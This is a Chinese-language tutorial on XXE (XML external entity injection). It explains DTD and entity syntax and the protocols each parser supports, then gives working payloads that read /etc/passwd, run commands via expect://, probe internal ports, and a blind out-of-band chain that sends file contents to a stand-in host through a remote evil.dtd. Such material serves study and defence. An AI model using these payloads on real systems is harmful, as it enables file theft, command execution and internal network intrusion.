XML外部实体注入
0x00 基础
XXE(XML External Entity Injection),xml外部实体注入
DTD(Document Type Definition),文档类型定义,可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构
DTD可被成行的声明于XML文档中,也可作为一个外部引用
DTD中一些关键字:
- DOCTYPE(DTD的声明)
- ENTITY(实体的声明)
- SYSTEM、PUBLIC(外部资源申请)
内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
实例:
<?xml version="1.0"?>
<!DOCTYPE note [ <!-- 定义此文档是note类型的文档 -->
<!ELEMENT note (to,from,heading,body)> <!-- 定义 note 元素有四个元素:"to from heading body" -->
<!ELEMENT to (#PCDATA)> <!-- 定义 to 元素为 #PCDATA 类型(会被解析的字符数据) -->
<!ELEMENT from (#PCDATA)> <!-- 定义 from 元素为 #PCDATA 类型 -->
<!ELEMENT heading (#CDATA)> <!-- 定义 heading 元素为 #CDATA 类型(不会被解析的字符数据) -->
<!ELEMENT body (#CDATA)> <!-- 定义 body 元素为 #CDATA类型 -->
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
外部的 DOCTYPE 声明
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
实例:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
note.dtd:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD实体
实体是用于定义引用普通文本或特殊字符的变量,实体引用是对实体的引用。实体可在内部或外部进行声明
实体类别:
- 内置实体
- 字符实体
- 通用实体
- 参数实体
参数实体用%实体名称申请,引用时也用%实体名称
其余实体直接用实体名称申请,引用时用&实体名称
参数实体只能在DTD中申明,DTD中引用
其余实体只能在DTD中申明,可在xml文档中引用
-
DTD内部声明
<!ENTITY 实体名称 "实体的值">
例:
<!ENTITY write "Bill Gates"> <!ENTITY copyright "Copyright ..."> ... <author>&write;©right</author>
- DTD外部声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
例:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> ... <author>&writer;©right;</author>
- 参数实体
<!ENTITY % 实体名称 "实体的值"> 或 <!ENTITY % 实体名称 SYSTEM "URI">
例:
<!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///etc/passwd"> %name; ]>
- 引用公共DTD
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
例子:
<!DOCTYPE taglib PUBLIC "-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2//EN" "http://java.sun.com/dtd/web-jsptaglibrary_1_2.dtd">
支持的协议
libxml2 | php | java | .net |
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher * | ||
phar |
其中,php支持的协议会更多一些,但需要一定的扩展
Scheme | Extension Required |
https、ftps | openssl |
zip | zip |
ssh2.shell、ssh2.exec、ssh2.tunnel、sh2.sftp、ssh2.scp | ssh2 |
rar | rar |
ogg | oggvorbis |
expect | expect |
0x02 XXE漏洞
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
举例说明几个常见危害:
读取任意文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
<name>&xxe;</name>
</root>
执行系统命令
下面需要在安装了expect扩展的PHP环境下,当然其他协议也可能会出现这种问题
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<root>
<name>&xxe;</name>
</root>
探测内网端口/SSRF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8888/" >
]>
<root>
<name>&xxe;</name>
</root>
无回显操作
无回显时可以将文件发送到远程服务器,然后读取
发送到目标服务器上的xml数据:
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % evil SYSTEM "http://www.yourip.com/evil.dtd">
%evil;
]>
<a>&send;</a>
远程 evil.dtd:
<!ENTITY % all
"<!ENTITY send SYSTEM 'http://yourip.com/recv?data=%file;'"
>
%all;
首先,%evil;
用来引用http://yourip.com
下的evil.dtd
,之后evil.dtd
中的%all
会生成send
实体,经过<a>
中的引用,将%file
的内容发送至yourip
上
其中,&send
也可以是参数实体,这样就无需在xml文档中显式引用了
发送到目标服务器上的xml数据:
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % evil SYSTEM "http://www.yourip.com/evil.dtd">
%evil;
]>
远程 evil.dtd:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://yourip.com/recv?data=%file;'"
>
%all;
%send;
0x03 修复
参考 owasp XXE PreventionCheat Sheel